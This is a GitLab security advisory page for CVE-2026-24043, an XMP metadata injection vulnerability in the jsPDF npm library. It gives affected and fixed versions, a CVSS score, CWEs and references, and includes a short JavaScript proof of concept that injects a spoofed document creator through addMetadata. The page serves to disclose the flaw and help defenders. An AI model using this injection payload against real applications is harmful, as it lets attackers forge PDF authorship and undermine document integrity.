Advisory Database
  • Advisories
  • Dependency Scanning
  1. npm
  2. ›
  3. jspdf
  4. ›
  5. CVE-2026-24043

CVE-2026-24043: jsPDF Vulnerable to Stored XMP Metadata Injection (Spoofing & Integrity Violation)

February 2, 2026 (updated February 3, 2026)

User control of the first argument of the addMetadata function allows users to inject arbitrary XML.

If given the possibility to pass unsanitized input to the addMetadata method, a user can inject arbitrary XMP metadata into the generated PDF. If the generated PDF is signed, stored or otherwise processed after, the integrity of the PDF can no longer be guaranteed.

Example attack vector:

import { jsPDF } from "jspdf"

const doc = new jsPDF()

// Input a string that closes the current XML tag and opens a new one.
// We are injecting a fake "dc:creator" (Author) to spoof the document source.
const maliciousInput = '</jspdf:metadata></rdf:Description>' +
'<rdf:Description xmlns:dc="http://purl.org/dc/elements/1.1/">' +
'<dc:creator>TRUSTED_ADMINISTRATOR</dc:creator>' + // <--- Spoofed Identity
'</rdf:Description>' +
'<rdf:Description><jspdf:metadata>'

// The application innocently adds the user's input to the metadata
doc.addMetadata(maliciousInput, "http://valid.namespace")

doc.save("test.pdf")

References

  • github.com/advisories/GHSA-vm32-vv63-w422
  • github.com/parallax/jsPDF
  • github.com/parallax/jsPDF/commit/efe54bf50f3f5e5416b2495e3c24624fc80b6cff
  • github.com/parallax/jsPDF/releases/tag/v4.1.0
  • github.com/parallax/jsPDF/security/advisories/GHSA-vm32-vv63-w422
  • nvd.nist.gov/vuln/detail/CVE-2026-24043

Code Behaviors & Features

Detect and mitigate CVE-2026-24043 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →

Affected versions

All versions before 4.1.0

Fixed versions

  • 4.1.0

Solution

Upgrade to version 4.1.0 or above.

Impact 5.8 MEDIUM

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

Learn more about CVSS

Weakness

  • CWE-20: Improper Input Validation
  • CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Source file

npm/jspdf/CVE-2026-24043.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Wed, 04 Feb 2026 00:37:17 +0000.